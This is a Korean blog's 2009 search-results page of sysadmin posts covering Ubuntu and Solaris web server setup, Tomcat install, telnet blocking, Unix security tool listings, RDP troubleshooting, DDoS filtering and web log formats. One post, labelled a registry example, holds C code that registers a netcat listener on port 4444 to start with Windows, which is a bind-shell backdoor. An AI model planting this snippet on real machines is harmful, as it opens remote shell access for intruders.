Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/08/27 우분투 - 웹 서버 APM(Apache+Php+MySQL) 설치
  2. 2009/08/27 우분투 - 웹 서버 APM(Apache+Php+MySQL) 설치
  3. 2009/08/27 솔라리스 - 9 x86에서 APM(Apache-PHP-MySQL) 설치 1
  4. 2009/08/27 솔라리스 - 톰캣6 (tomcat6)을 설치해봅시다
  5. 2009/08/27 솔라리스 - Telnet 접속 막기 (FTP만 허용)
  6. 2009/08/27 보안(원문) - SECURING YOUR UNIX SYSTEMS
  7. 2009/08/27 원격서버 테미널 끊기및 로그 오프
  8. 2009/08/27 윈도우 원격접속 자동 접속끊김 현상.
  9. 2009/08/27 웹방화벽으로 DDOS막기 1
  10. 2009/08/27 웹 서버별 웹로그 양식(기본)
  11. 2009/08/27 레지스트리 변경 예제
  12. 2009/08/27 Toolhelp32를 이용한 프로세스ID얻기
  13. 2009/08/27 [javascript]웹 브라우저 버전확인
  14. 2009/08/27 FINDSTR 사용법
  15. 2009/08/27 MS09-009
  16. 2009/08/27 [r.5.7.p.h.p]분석
  17. 2009/08/27 [PHP]mb_ereg_replace()
  18. 2009/08/27 SQL쿼리로 사용되는 파라미터의 값이 중복 사용될 경우 조합되어 쿼리문으로 동작할 수 있다
  19. 2009/08/27 MASS-SQL인젝션 툴에 등록된 공격문
  20. 2009/08/27 웹나이트 설치 후, 반드시 해야 할 일 두 가지
  21. 2009/08/27 ‘About Windows Security’ 카테고리에 등록된 글 모두 보기
  22. 2009/08/27 MSSQL, 'sp_replwritetovarbin' 프로시저의 힙 오버플로우 취약점
  23. 2009/08/27 KISA에서 발표한 웹해킹방어도구 'CASTLE' 1
  24. 2009/08/27 쿠키 변조를 통한 Mass SQL 인젝션, 툴 사용법과 그 실체 공개! 1
  25. 2009/08/26 Fileupload 취약점 이용하여 공격하기 (Webshell) 1
  26. 2009/08/26 CSRF 취약점 이용한 공격 방어하기
  27. 2009/08/26 인코딩을 통한 XSS필터 회피 기술
  28. 2009/08/26 SQL Injection tools 15종
  29. 2009/08/26 jQuery Selector 를 이해해 보자.
  30. 2009/08/26 웹조각 만드는 방법 1

레드햇9.0 웹서버를 운영하다 급작스런 패키지 의존성 문제로 몇번 말아먹어본적이 있어 대중성 보다는  패키징 관리가 쉬운 Debian 계열의  우분투 리눅스에서 APM(Apache+Php+MySQL)을 설치해 보았습니다.

이 글은 컴파일해서 쓰는게 아니라 패키지 자체설치로 초보자도 간단하게 설치해볼수 있습니다.

APM이란 리눅스에서 웹서버를 구성할때 많이 쓰는 프로그램의 일반적인 통합명칭입니다.

부르기 쉽게 한데로 모아서 APM이라고 부릅니다. 요즘은 LAMP(Linux + Apache + MySQL + Php/Perl,Python)환경 이라고도 부르기도 합니다.

아파치(Apache)는 웹서버 자체로서 일반적인 프로토콜인 Http프로토콜을 사용합니다. 또한 Https,ftp등도 지원을 하게 됩니다.

MySQL은 데이터베이스 엔진으로서 각종 게시판이나 데이터베이스를 사용해야할때 많이 쓰이는 프로그램입니다. MySQL뿐만 아니라 PostgresSQL도 사용이 가능합니다.

PHP는 스크립트언어로서 웹페이지를 구성할수 있는 언어중 하나입니다. 많은 웹 프로그램들이 php로 작성 되고 있습니다.

 

일반적으로 설치순서는 Apache -> MySQL -> PHP 등으로 이루어 지게 됩니다.

 

1) 설치

1.Apache

먼저 Apache를 설치하여 보겠습니다. 버전은 apache2버전을 기준으로 하겠습니다.

터미널을 열고 다음 명령을 입력합니다.

sudo apt-get install apache2

다음으로 mysql을 인증을 위한 모듈을 설치하겠습니다.

sudo apt-get install libapache2-mod-auth-mysql


다음으로 MySQL

sudo apt-get install mysql-server mysql-client

설치가 완료되면 MySQL서버가 자동으로 시작이 됩니다.

마지막으로 PHP 버전은 PHP5 기준으로 하겠습니다.

마찬가지로 터미널에서 다음을 입력합니다.

sudo apt-get install php5-common php5 libapache2-mod-php5

MySQL과 연동하기 위한 모듈을 설치합니다.

sudo apt-get install php5-mysql

 

이상으로 설치가 완료 되었습니다.

 

아파치 웹서버를 제 시작하겠습니다.

sudo /etc/init.d/apache2 restart

 

MySQL서버도 정상적으로 작동하는지 확인해 보고 작동을 안한다면 restart 를 해줍니다.

sudo netstat -tap | grep mysql

명령을 줬을때

tcp 0 0 localhost.localdomain:mysql *:* LISTEN -

와 비슷한 것을 보면 정상이고 그렇지 않다면

sudo /etc/init.d/mysql restart

로 재시작을 해줍니다.

 

모든게 정상이라면

에디터를 열고 웹서버의 디렉토리(일반적으로 "/var/www" 에서 phpinfo.php라는 파일을 만들고 다음의 소스코드를 넣어 줍니다.

1.      <?php

2.      print_r(phpinfo());

3.      ?>

그리고 웹브라우저를 열고 실행을 시켜봅니다.

일반적으로 http://호스트주소/phpinfo.php 로 주소를 열면 됩니다.

다음과 같은 화면이 나오면 웹서버를 위한 환경이 구성이 되었습니다.

스크롤을 내려 Apache MySQL 등을 찾아 제대로 연결이 되었는지 확인해 봅니다.

각종 사항은 설정마다 다르게 나올것입니다.


2) 설정

1. 아파치

아파치의 기본설정 파일은 /etc/apache2/apache2.conf

포트번호, 문서의루트, 모듈, 각종 로그파일, 가상 호스트 등을 설정할수 있습니다.

자세한 사항은 아파치 문서를 참조하시기 바랍니다.


2.  MySQL

mysql 의 관리자 암호는 처음에는 지정이 되지 않은 상태입니다.

관리자 암호를 설정하기 위해서는

sudo mysqladmin -u root password newrootsqlpassword

sudo mysqladmin -p -u root -h localohost password newrootpassword

을 입력합니다.

첫번째 줄만 실행해도 설정은 될것입니다.

MySQL 설정파일은 /etc/mysql/my.cnf 파일이고 로그 파일, 포트 번호등을 설정할수 있습니다.

참고 : http://mysql.com
         http://apache.org
         http://php.net


-설치 후-

Debian 계열의 배포판, 그중 우분투 리눅스는 패키징 관리가 용의하며, 각종 드라이브, 로컬 라이징, 간단한 명령어를 통한 업데이트 까지 데스크탑 리눅스를 모토로한 우분투는 GUI 환경까지 편의성 만큼은 Redhat 보다 좋은거 같습니다.

웹 서버로는 처음 구축해 보았지만, 현재 노트북의 OS 사용 하는것도 Ubuntu 이며 virtual box 사용으로 윈도우까지 wine 으로 IE6.0 까지 사용하며 불편을 못느끼고 있습니다.

Redhat 이나 Fedora 계열로 웹서버를 운영하시던 분들도 포스팅을 보시고 간단하게 가볍게 우분투를 한번 사용해 보시기 바랍니다.

2009/08/27 11:39 2009/08/27 11:39

레드햇9.0 웹서버를 운영하다 급작스런 패키지 의존성 문제로 몇번 말아먹어본적이 있어 대중성 보다는  패키징 관리가 쉬운 Debian 계열의  우분투 리눅스에서 APM(Apache+Php+MySQL)을 설치해 보았습니다.

이 글은 컴파일해서 쓰는게 아니라 패키지 자체설치로 초보자도 간단하게 설치해볼수 있습니다.

APM이란 리눅스에서 웹서버를 구성할때 많이 쓰는 프로그램의 일반적인 통합명칭입니다.

부르기 쉽게 한데로 모아서 APM이라고 부릅니다. 요즘은 LAMP(Linux + Apache + MySQL + Php/Perl,Python)환경 이라고도 부르기도 합니다.

아파치(Apache)는 웹서버 자체로서 일반적인 프로토콜인 Http프로토콜을 사용합니다. 또한 Https,ftp등도 지원을 하게 됩니다.

MySQL은 데이터베이스 엔진으로서 각종 게시판이나 데이터베이스를 사용해야할때 많이 쓰이는 프로그램입니다. MySQL뿐만 아니라 PostgresSQL도 사용이 가능합니다.

PHP는 스크립트언어로서 웹페이지를 구성할수 있는 언어중 하나입니다. 많은 웹 프로그램들이 php로 작성 되고 있습니다.

 

일반적으로 설치순서는 Apache -> MySQL -> PHP 등으로 이루어 지게 됩니다.

 

1) 설치

1.Apache

먼저 Apache를 설치하여 보겠습니다. 버전은 apache2버전을 기준으로 하겠습니다.

터미널을 열고 다음 명령을 입력합니다.

sudo apt-get install apache2

다음으로 mysql을 인증을 위한 모듈을 설치하겠습니다.

sudo apt-get install libapache2-mod-auth-mysql


다음으로 MySQL

sudo apt-get install mysql-server mysql-client

설치가 완료되면 MySQL서버가 자동으로 시작이 됩니다.

마지막으로 PHP 버전은 PHP5 기준으로 하겠습니다.

마찬가지로 터미널에서 다음을 입력합니다.

sudo apt-get install php5-common php5 libapache2-mod-php5

MySQL과 연동하기 위한 모듈을 설치합니다.

sudo apt-get install php5-mysql

 

이상으로 설치가 완료 되었습니다.

 

아파치 웹서버를 제 시작하겠습니다.

sudo /etc/init.d/apache2 restart

 

MySQL서버도 정상적으로 작동하는지 확인해 보고 작동을 안한다면 restart 를 해줍니다.

sudo netstat -tap | grep mysql

명령을 줬을때

tcp 0 0 localhost.localdomain:mysql *:* LISTEN -

와 비슷한 것을 보면 정상이고 그렇지 않다면

sudo /etc/init.d/mysql restart

로 재시작을 해줍니다.

 

모든게 정상이라면

에디터를 열고 웹서버의 디렉토리(일반적으로 "/var/www" 에서 phpinfo.php라는 파일을 만들고 다음의 소스코드를 넣어 줍니다.

1.      <?php

2.      print_r(phpinfo());

3.      ?>

그리고 웹브라우저를 열고 실행을 시켜봅니다.

일반적으로 http://호스트주소/phpinfo.php 로 주소를 열면 됩니다.

다음과 같은 화면이 나오면 웹서버를 위한 환경이 구성이 되었습니다.

스크롤을 내려 Apache MySQL 등을 찾아 제대로 연결이 되었는지 확인해 봅니다.

각종 사항은 설정마다 다르게 나올것입니다.


2) 설정

1. 아파치

아파치의 기본설정 파일은 /etc/apache2/apache2.conf

포트번호, 문서의루트, 모듈, 각종 로그파일, 가상 호스트 등을 설정할수 있습니다.

자세한 사항은 아파치 문서를 참조하시기 바랍니다.


2.  MySQL

mysql 의 관리자 암호는 처음에는 지정이 되지 않은 상태입니다.

관리자 암호를 설정하기 위해서는

sudo mysqladmin -u root password newrootsqlpassword

sudo mysqladmin -p -u root -h localohost password newrootpassword

을 입력합니다.

첫번째 줄만 실행해도 설정은 될것입니다.

MySQL 설정파일은 /etc/mysql/my.cnf 파일이고 로그 파일, 포트 번호등을 설정할수 있습니다.

참고 : http://mysql.com
         http://apache.org
         http://php.net


-설치 후-

Debian 계열의 배포판, 그중 우분투 리눅스는 패키징 관리가 용의하며, 각종 드라이브, 로컬 라이징, 간단한 명령어를 통한 업데이트 까지 데스크탑 리눅스를 모토로한 우분투는 GUI 환경까지 편의성 만큼은 Redhat 보다 좋은거 같습니다.

웹 서버로는 처음 구축해 보았지만, 현재 노트북의 OS 사용 하는것도 Ubuntu 이며 virtual box 사용으로 윈도우까지 wine 으로 IE6.0 까지 사용하며 불편을 못느끼고 있습니다.

Redhat 이나 Fedora 계열로 웹서버를 운영하시던 분들도 포스팅을 보시고 간단하게 가볍게 우분투를 한번 사용해 보시기 바랍니다.

2009/08/27 11:39 2009/08/27 11:39

설치할 APM 버전

  • Apache 2.0.55
  • PHP 5.0.5
  • MySQL 4.1.13a

들어가기 전에

1. 설치 전에

  • APM과 관련해 설치 전에 해야할 것은 없다.

2. APM 설치

  1. http://www.mysql.com: mysql-4.1.14.tar.gz
    root@wl ~ # gtar xvfz mysql-4.1.14.tar.gz
    root@wl ~ # cd mysql-4.1.14
    root@wl ~/mysql-4.1.14 # CC=gcc CFLAGS="-O2 -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT -fomit-frame-pointer -DHAVE_CURSES_H" \
     CXX=gcc CXXFLAGS="-O2 -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT -fomit-frame-pointer -felide-constructors -fno-exceptions -fno-rtti -DHAVE_CURSES_H" \
     ./configure \
     --prefix=/usr/local/mysql \
     --enable-thread-safe-client \
     --with-charset=euckr # MySQL 4.1.x부터 euc_kr이 아닌 euckr로 변경되었다.
    root@wl ~/mysql-4.1.14 # make
    root@wl ~/mysql-4.1.14 # make install
    
  2. http://www.apache.org: httpd-2.0.55.tar.gz
    root@wl ~ # gtar xvfz httpd-2.0.55.tar.gz
    root@wl ~ # cd httpd-2.0.55
    root@wl ~/httpd-2.0.55 # ./configure \
     --prefix=/usr/local/apache2 \
     --enable-so \
     --enable-dav \
     --enable-dav-fs \
     --disable-ipv6 \ # IPv6를 사용하지 않는다면 이 옵션을 주는것이 좋다.1)
     --with-mpm=worker # PHP가 비정상적인 동작을 보인다면 이부분을 삭제한다.2) worker외에 --with-mpm=perchild 도 쓸만하다.
    root@wl ~/httpd-2.0.55 # make
    root@wl ~/httpd-2.0.55 # make install
    
    1) 에러로그에 [warn] (128)Network is unreachable: connect to listener 이라는 메시지를 없앨 수 있다.
    2) PHP를 개발한 The PHP Group이나 APACHE 개발한 The Apache Software Foundation에서는 mpm으로써 worker나 perchild를 권장하지 않는다. 값을 지정하지 않는다면 기본값인 prefork을 사용한다.
  3. http://www.xmlsoft.org: libxml2-2.6.20.tar.gz
    root@wl ~ # gtar xvfz libxml2-2.6.20.tar.gz
    root@wl ~ # cd libxml2-2.6.20
    root@wl ~/libxml2-2.6.20 # ./configure --prefix=/usr/local/xml
    root@wl ~/libxml2-2.6.20 # make
    root@wl ~/libxml2-2.6.20 # make install
    
  4. http://www.php.net: php-5.0.5.tar.gz
    root@wl ~ # gtar xvfz php-5.0.5.tar.gz
    root@wl ~ # cd php-5.0.5
    root@wl ~/php-5.0.5 # ./configure \
     --prefix=/usr/local/php \
     --with-apxs2=/usr/local/apache2/bin/apxs \
     --with-mysql=/usr/local/mysql \
     --with-mysqli=/usr/local/mysql/bin/mysql_config \ # MySQL 4.1.2 이상 필요
     --with-iconv \
     --with-libxml-dir=/usr/local/xml \
     --enable-modules=so \
     --enable-mbstring \
     --enable-mbregex \
     --with-gd \
     --enable-gd-native-ttf \
     --with-jpeg-dir=/usr/sfw \
     --with-png-dir=/usr/sfw \
     --with-zlib-dir=/usr/local
    root@wl ~/php-5.0.5 # make
    root@wl ~/php-5.0.5 # make install
    root@wl ~/php-5.0.5 # cp php.ini-dist /usr/local/php/lib/php.ini
    
    # 여기까지 하면 설치는 끝난다. 아래는 Zend Optimizer를 설치하는 과정이다.
    root@wl ~ # gtar xvfz ZendOptimizer-2.5.10a-sunos5.9-i386.tar.gz
    root@wl ~ # cd ZendOptimizer-2.5.10a-sunos5.9-i386
    root@wl ~/ZendOptimizer-2.5.10a-sunos5.9-i386 # ./install 1)
    
    1)
    - php.ini파일은 /usr/local/php/lib 디렉토리에 있다.
    - Apache Control Utility는 /usr/local/apache2/bin/apachectl 에 있다.
    - 설치가 완료되면 /usr/local/php/lib/php.ini가 /usr/local/Zend/etc/php.ini파일로 심볼릭 링크된다.
    - 원래의 php.ini은 /usr/local/php/lib/php.ini-zend_optimizer.bak 에 있다.
    - php.ini만 이전것으로 복구하면 자연스럽게 Zend Optimizer를 언인스톨 할 수 있다.
    - Zend Optimizer는 http://www.zend.com에서 무료 회원 가입후 무료로 받을 수 있다.
    - Zend Optimizer는 필수사항이 아니다. Zend Encoder로 인코딩된 php 소스를 실행할 수 있으며, php를 좀 더 빨리 실행시켜준다고 알려져 있으며, Solaris Sparc이나 리눅스에서는 큰 효과가 있지만, Solaris x86에서는 그리 큰 효과가 없는듯 하다. (성능향상이 되는지도 잘 모르겠다 ^^ 스팍에서 설치할땐 쉽게 느낄 수 있을정도의 성능향상이 있었다)

3. APM 설정(기본적인것만)

  1. PATH 설정
    root@wl ~ # vi /etc/profile
    # for Apache located at /usr/local/apache2
    if [ -d /usr/local/apache2 ]
    then
      LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/apache2/lib; export LD_LIBRARY_PATH
      PATH=$PATH:/usr/local/apache2/bin; export PATH;
    fi
    
    # for MySQL located at /usr/local/mysql
    if [ -d /usr/local/mysql/lib/mysql ]
    then
      LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/mysql/lib/mysql; export LD_LIBRARY_PATH
      PATH=$PATH:/usr/local/mysql/bin; export PATH;
    fi
    
  2. MySQL 설정
    root@wl ~ # useradd -d /export/home/mysql -g staff -m -u 102 -s /bin/false mysql 1)
    root@wl ~ # /usr/local/mysql/bin/mysql_install_db 2)
    root@wl ~ # chown -R mysql:staff /usr/local/mysql/var 3)
    root@wl ~ # cp /usr/local/mysql/share/mysql/my-medium.cnf /etc/my.cnf 4)
    root@wl ~ # vi /etc/my.cnf 4)
    skip-networking
    #log-bin
    root@wl ~ # /usr/local/mysql/share/mysql/mysql.server start 5)
    root@wl ~ # /usr/local/mysql/bin/mysqladmin -u root password 'new-password' 6)
    root@wl ~ # /usr/local/mysql/bin/mysqladmin -u root -h wl password 'new-password' 6)
    
    1) MySQL을 실행할 유닉스 계정을 생성한다.
    2) 기본 MySQL DB를 생성한다.
    3) 기본 MySQL DB는 /usr/local/mysql/var 에 생성되는데 이 디렉토리및 파일들의 소유자를 변경한다.
    4) MySQL 설정 파일을 복사한 후 적당히 수정한다. /usr/local/mysql/share/mysql 에 my-huge.cnf, my-large.cnf, my-medium.cnf, my-small.cnf 의 예제 설정 파일이 있다. 이를 /etc/my.cnf 으로 이름을 바꿔 복사하면 된다. 리플리케이션을 사용하지 않는다면 [log-bin]을 찾아 주석처리하고 외부에서 접속이 없다면 [skip-networking]의 주석을 푼다.
    5) MySQL 서버를 시작한다. 종료는 [/usr/local/mysql/share/mysql/mysql.server stop] 커맨드를 사용한다.
    6) MySQL의 root 패스워드를 변경한다. 기본값은 없기 때문에 반드시 수정해야 한다. [wl]부분은 MySQL이 설치된 호스트의 이름이다.
  3. Apache 설정
    root@wl ~ # vi /usr/local/apache2/conf/httpd.conf
    Group nobody 1)
    # AddDefaultCharset ISO-8859-1 2)
    AddType application/x-httpd-php	.php 3)
    AddType application/x-httpd-php-source	.phps 3)
    ServerName xxx.solanara.com:80 4)
    root@wl ~ # /usr/local/apache2/bin/apachectl start
    
    1) [Group #-1]을 찾아 [Group nobody]로 수정한다.
    2) [AddDefaultCharset ISO-8859-1] 부분이 있다면 주석처리 한다. (없을수도 있다)
    3) AddType부분의 두라인을 추가한다.
    4) ServerName을 정해준다. 정하지 않아도 되지만 [httpd: Could not determine the server's fully qualified domain name, using xxx.xxx.xxx.xxx for ServerName]와 같은 메시지가 나올 수 있다. 만약 도메인이 없다면 IP를 입력해준다. 예) [ServerName 192.168.0.1]
  4. PHP 설정
    root@wl ~ # vi /usr/local/apache2/htdocs/index.php
    <?
      phpinfo();
    ?>
    root@wl ~ #
    
    이후 http://localhost/index.php에서 php정보가 제대로 나오는지 확인한다. 아래와 비슷하게 나와야 한다. 확인되었으면 index.php파일을 지운다. (보안때문)
    사용자 삽입 이미지

    root@wl ~ # rm /usr/local/apache2/htdocs/index.php
    

    여기까지 되면 설치는 완료되었다.  
2009/08/27 11:35 2009/08/27 11:35

톰캣 설치는 앉아서 밥먹기 처럼 쉽습니다.

유닉스의 솔라리스 뿐만아니라 리눅스도 아래와 같은 방법으로 설치하시면 됩니다

자바로 만들어진 것이라서 자바의 강점인 운영체제에 상관없이 잘 돌아간다라는 것
즉, 그냥 압축풀면 끝나요

주의사항은 JDK가 깔려 있어야 한다는 겁니다. 솔라리스는 기본적으로 JDK5가 깔려있습니다.
최신버전을 좋아하는 저는 JDK6으로 업그레이드 했습니다


java -version 쳐서 나오는지 확인하고, 안나오면 설치해야죠 http://java.sun.com/에서 받으세요

http://tomcat.apache.org/
여기서 최신버전 6.0.14버전을 받도록 합시다.
Binary Distributions 인 tar.gz로 받도록 합시다.

gunzip으로 압축풀고, tar로 압축풉시다.

[root][/user/mudchobo/install] gunzip apache-tomcat-6.0.14.tar.gz
apache-tomcat-6.0.14.tar
[root][/user/mudchobo/install] tar xvf apache-tomcat-6.0.14.tar


디렉토리를 생성하여 옮기겠습니다.

[root][/user/mudchobo/install]mv -r apache-tomcat-6.0.14 /usr/local/tomcat/


/usr/local/tomcat/ 폴더로 옮겨놓읍시다. 이제 PATH를 잡아줍시다.(csh기준)

setenv PATH={$PATH}:/usr/local/tomcat/bin

예전에는 CATALINA_HOME도 잡아준거 같은데 안해줘도 되나봐요.
이제 실행해봅시다.
startup.sh를 실행합시다.

[root][/usr/local/tomcat] startup.sh
Using CATALINA_BASE:   /usr/local/tomcat
Using CATALINA_HOME:   /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME:       /jdk1.6.0_03
[root][/usr/local/tomcat]


웹에서 확인해봅시다.
http://ip주소:8080/ 이후 확인해보세요

야옹이가 나오는지

2009/08/27 11:33 2009/08/27 11:33
1. Shell Script 생성

# cat > /bin/wall
===================================================================
#!/bin/sh

trap "echo Sorry; exit 0" 1 2 3 4 5 6 7 10 15

echo "***********************************************************"
echo "* *"
echo "* You are NOT allowed Telnet Service!!! *"
echo "* *"
echo "***********************************************************"

exit 0
====================================================================

# chmod 755 /bin/wall

2. Shell Script 등록

# cat >> /etc/shells
======================
/bin/ksh
/bin/bash
/bin/csh
/bin/wall
======================

3. /etc/passwd 파일 수정
root:x:0:1:Super-User:/:/bin/ksh
~
temp:x:102:1::/export/temp:/bin/wall <- 수정


4. Telnet 접속 확인

# telnet localhost

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


SunOS 5.8

login: temp
Password:
Last login: Thu Apr 29 18:51:27 from localhost
***********************************************************
* *
* You are NOT allowed Telnet Service!!! *
* *
***********************************************************
Connection closed by foreign host.


5. FTP 접속 확인

# ftp localhost
Connected to localhost.
220 test04 FTP server (SunOS 5.8) ready.
Name (localhost:root): temp
331 Password required for temp.
Password:
230 User temp logged in.
ftp>
2009/08/27 11:33 2009/08/27 11:33
SECURING YOUR UNIX SYSTEMS

  • White Papers
  • Tools
    • John the Ripper
      John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.
    • L0phtCrack
      Password Auditing and Recovery Application
    • exec.c
      exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta
    • Virtual FTPD
      Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.
    • Snoopy
      Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.
    • FPF
      FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.
    • Imsafe
      Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.
    • IPtrap
      IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.
    • LOMAC
      LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.
    • Maxty
      Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
  • Links
2009/08/27 11:31 2009/08/27 11:31
reset session
 터미널 서버에서 세션을 다시 설정(삭제)할 수 있도록 합니다.
 reset session {세션이름 | 세션id} [/server:서버이름] [/v]

logoff
 세션에서 사용자를 로그오프시키고 서버에서 세션을 삭제합니다.
 logoff [세션이름 | 세션id] [/server:서버이름] [/v]
 /v : 수행할 동작에 대한 정보를 표시합니다.

tsdiscon
 터미널 서버에서 세션의 연결을 끊습니다.
 tsdiscon [세션id | 세션이름] [/server:서버이름] [/v]


query session (이명령어는 xp는 되지 않더군요 2003에서는 해보질않아서
제가 사용했었던 명령어는 위 3개의 명령어 입니다. 그나마 서버가 2003일경우
에 유용한 명령어입니다.)



일단 net use로 RPC세션 연결이 되어 있어야 합니다.
2009/08/27 11:24 2009/08/27 11:24
윈도우에서 원격접속시도시 연결버튼 누름과 동시에 접속이 끊겨다시 접속버튼을누르게끔되는
현상이 발생하여 원격접속 관련 설정, 포트 확인 권한 모든 부분을 확인하였으나 설정상의 문제가
없음.
이런 현상이 발생하여 한참을 애먹었습니다. 보안정책또한 특이 사항이 없고 참 난감하더군요..
다행히 서버에서 발생한 부분이 아니어서 시간적여유가 좀 있었습니다.
딱히 검색해도 별 문제가 없었구요. 그러다 찾아낸것이 그래픽 카드 드라이버의 문제더군요..
정말이지 생각지도 못한 문제였습니다. 드라이버 업데이트를 진행했더니 바로 되더군요..
기존 드라이버는 장비업체의 기본드라이버였는데...
저같은 문제가 발생하신분들은 한번 그래픽 드라이버 업데이트를 해보시기 바랍니다. 아니면
드라이버 업데이트 후 이런 문제 발생시는 다운그레이드를 해보시는것도 좋겠군요.
2009/08/27 11:24 2009/08/27 11:24
DDOS공격으로 인한 사이트마비는 시스템관리자라면 정말 짜증나고 싫은 장애이다.
나또한 DDOS공격으로 사이트가 15분간 마비 ㅠ_ㅠ
다음날 웹방화벽의 로그를 살펴보다 일반 PC와 좀비 PC와의 차이점을 찾게되었다.
user agent부분이었다 .. PC가 감염이 되면서 user agent부분에 특징적인 패턴이 붙게 되는데
일단은 한번 막아보기로했다 한대의 서버에만 웹방화벽의 정책을 수정했는데
그날 저녁 또 공격이 시작되었다 것도 사람이 많은 시간대로 ㅠ_ㅠ 정말이지 엔지니어는 업무시간
외에도 쉴수가 없는건지 업보인가...
웹방화벽의 패턴을 올린 서버는 공격을 모두 무력화 시키며 정상적인 서비스 중이었고 나머지 서버는
모두 웹이 뻗어 모니터링에서는 문자를 쉴세없이 보내고 있는 상황...
재빠르게 모든 서버에 접속해서 웹방화벽 정책을 업데이트하고 웹서비스를 재시작 시켰더니 음~~
꽤 생각외의 수확이~~~ 공격 2분만에 서비스 정상화 ^^  DDOS방어 솔루션자체의 가격이 워낙에
부담스러운 요즘에 웹방화벽이 효자역활을 톡톡히 하네요 ^^

적용 방법은 아래와 같습니다.
우선웹방화벽을 사용하고 계시면 DDOS공격시 패턴을 분석합니다.
User agent 의 패턴을 복사하여 robot.xml을 열고 other bad 항목에
추가를 해줍니다.
그리고 webknignt.xml파일일 열어
USE Denied User Agents를 체크를 해줍니다.
간단하면서도 정말 효과적인 부분이지요 ^^

그렇지만 위험부담도 크다는거 명심하세요 user agent를 막게해놓으면 지저분하게 브라우저를 사용하는
일반 사용자의 막힘 현상도 있습니다.
2009/08/27 11:23 2009/08/27 11:23
WebToB의 설정파일은 C:\TmaxSoft\JEUS5.0\webserver\config 경로에 있으며 그중 *LOGGING필드는 웹로그기록에 대한 설정이다.


옵션
FileName         - 로그파일의 이름
Format           - 로그기록형식
Option = "sync"  - 로그기록시 메모리 버퍼를 사용하는지, 바로 디스크에 기록하는지 결정
ValiDays = "1"   - 하루단위로 로그를 저장 (Default)
           "0"   - 하나의 파일에 로그를 저장


포멧

Apache와 마찬가지로 WebToB가 지원하는 웹로그포멧은 다음과 같다.

  -NCSA Common Log File Format(CLF)
  -Custom Log File Format

WebtoB웹로그에서는 디폴트로 CLF Format포멧을 준수한다.

설정파일========================================================
*LOGGING
log1
FileName = "C:/TmaxSoft/JEUS5.0/webserver/log/access.log",
Format = "DEFAULT",
Option = "sync"
===============================================================
웹로그 예)
10.10.149.41 - - [08/Apr/2009:10:59:47 +0900] "GET /examples/images/bgColor.gif HTTP/1.1" 304 -



CLF 포멧을 사용하지 않고 임의의 포멧을 만들기 위해서는 Custom Log File Format을 사용해야 한다.


설정파일 예=====================================================
*LOGGING
log1
FileName = "C:/TmaxSoft/JEUS5.0/webserver/log/access.log",  
Format = "%h %l %u %t \"%r\" %>s %b \"{Referrer}\" \"{User-Agent}\",
Option = "sync"
==============================================================




일반적으로 많이 사용되는 Custome Log File Format로그 형식은 다음과 같다.

Common Log Format (CLF)
"%h %l %u %t \"%r\" %>s %b"
가상호스트 정보를 포함한 Common Log Format
"%v %h %l %u %t \"%r\" %>s %b"
NCSA extended/combined 로그 형식
"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
Referer 로그 형식
"%{Referer}i -> %U"
Agent (브라우저) 로그 형식
"%{User-agent}i"

포멧 지시어에 대한 자료는 아래 링크를 참고한다.
http://httpd.apache.org/docs/2.0/ko/mod/mod_log_config.html
2009/08/27 11:22 2009/08/27 11:22

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 HKEY hKey;
 char buffer[64]="c:\\nc.exe -lvp 4444";
 RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
  0L,KEY_WRITE,
            &hKey
            ) ;
 RegSetValueEx(hKey,"netcatstart",0L,REG_SZ,(const unsigned char *)buffer,21);
 RegCloseKey(hKey);
 return 0;
}

2009/08/27 11:19 2009/08/27 11:19
실행중인 프로세스ID를 얻는 방법중 Toolhelp32를 이용한 방법과 PSAPI를 이용한 방법이 있다.
표준 API함수인 Toolhelp32를 이용하는 방법에 대하여 알아보기로 한다.
사용되는 함수는 다음과 같다.
CreateToolhelp32Snapshot(), Process32First(), Process32Next()


예제소스
#include <tlhelp32.h>

